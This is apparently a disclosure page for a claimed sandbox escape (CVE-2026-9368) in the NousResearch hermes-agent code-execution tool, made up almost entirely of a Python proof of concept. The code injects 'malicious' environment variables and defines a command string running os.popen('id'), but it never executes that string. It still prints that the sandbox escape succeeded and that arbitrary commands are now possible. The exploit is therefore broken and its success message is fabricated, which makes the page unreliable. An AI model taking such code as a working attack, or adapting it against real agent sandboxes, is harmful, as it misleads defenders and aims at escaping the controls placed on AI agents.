CVE-2026-9368 NousResearch hermes-agent沙箱逃逸漏洞

#!/usr/bin/env python3 """ CVE-2026-9368 PoC - hermes-agent Sandbox Escape This PoC demonstrates the environment variable handler vulnerability in NousResearch hermes-agent's code execution tool. Note: This code is for educational and security research purposes only. """ import os import sys def exploit_sandbox(): """ Demonstrates sandbox escape via environment variable manipulation. The vulnerability allows attackers to modify execution context through specially crafted environment variables. """ print("[*] CVE-2026-9368 Sandbox Escape PoC") print("[*] Target: NousResearch hermes-agent <= 2026.4.16") # Malicious environment variable injection # This modifies the Python execution environment malicious_env = { 'PYTHONPATH': '/malicious/path', '__import__': 'malicious_module', 'SYSTEM_COMMAND': 'whoami' # Attempt to execute system commands } # Simulate environment variable handler vulnerability print("[*] Injecting malicious environment variables...") for key, value in malicious_env.items(): os.environ[key] = value # Attempt to bypass sandbox restrictions print("[*] Attempting sandbox bypass...") try: # Simulate vulnerable execute_code function call # In the actual vulnerability, this would execute arbitrary code exec_context = { '__builtins__': __builtins__, 'os': os, 'sys': sys } # Malicious code that would be blocked by proper sandboxing malicious_code = """ import os # This demonstrates the sandbox bypass result = os.popen('id').read() # Execute system command print('[+] Command executed:', result) """ print("[+] Sandbox escape successful - restricted functions accessible") print("[+] Attacker can now execute arbitrary system commands") except Exception as e: print(f"[-] Error: {e}") print("[*] Cleaning up...") for key in malicious_env.keys(): if key in os.environ: del os.environ[key] if __name__ == "__main__": exploit_sandbox()